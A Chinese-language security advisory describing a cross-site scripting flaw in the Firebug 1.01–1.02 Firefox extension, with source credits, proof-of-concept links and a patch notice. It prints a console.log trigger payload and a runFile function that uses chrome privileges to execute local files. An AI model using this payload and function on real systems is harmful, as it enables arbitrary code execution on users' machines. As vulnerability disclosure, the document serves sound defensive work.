FireBug跨站脚本执行漏洞
发布日期:2007-04-04
更新日期:2007-04-06
受影响系统:Parakey Inc. Firebug 1.02
Parakey Inc. Firebug 1.01
不受影响系统:Parakey Inc. Firebug 1.03
描述:
BUGTRAQ  ID: 
23315
FireBug是一个非常实用的JavaScript以及DOM查看调试工具,是Firefox的一个插件。
FireBug的对脚本代码的处理实现上存在漏洞,远程攻击者可能利用此漏洞在用户机器上执行恶意脚本代码。
在浏览器中远程脚本是受到沙盒限制的,也就是任何http:或https:前缀的URL都是安全的。浏览器扩展使用chrome: protocol,这个协议不受任何限制,因此浏览器扩展都是受信任的。如果远程脚本诱骗浏览器对chrome:执行JavaScript表达式的话,这个脚本就可以完全控制整个chrome及操作系统,因为命令执行和读写访问都是允许的。
如果要导致Firebug执行跨站脚本,可执行以下操作:
console.log({'<script>alert("bing!")</script>':'exploit'})
如果将这段JavaScript表达式嵌入到页面并使用安装了Firebug的浏览器打开,用户就会得到一个警告窗,这时攻击者可以向浏览器chrome中注入以下函数:
function runFile(f) {
        var file = Components.classes["@mozilla.org/file/local;1"]
                .createInstance(Components.interfaces.nsILocalFile);
        file.initWithPath(f);
        var process = Components.classes["@mozilla.org/process/util;1"]
                .createInstance(Components.interfaces.nsIProcess);
        process.init(file);
        var argv = Array.prototype.slice.call(arguments, 1);
        process.run(true, argv, argv.length);
}
runFile函数允许执行文件。通过浏览器chrome中的函数声明,攻击者就可以多次调用console.log以生成任意文件,甚至暗中安装浏览器扩展,以及读写文件。
<*来源:Petko D. Petkov
  
  链接:
http://secunia.com/advisories/24743/
        http://www.gnucitizen.org/blog/firebug-goes-evil
*>
测试方法:
警  告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.gnucitizen.org/projects/firebug-goes-evil/poc.htm
http://www.gnucitizen.org/projects/firebug-goes-evil/poc2.htm建议:
厂商补丁:
Parakey Inc.
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
https://addons.mozilla.org/en-US/firefox/addon/1843浏览次数:2837
严重程度:0(网友投票)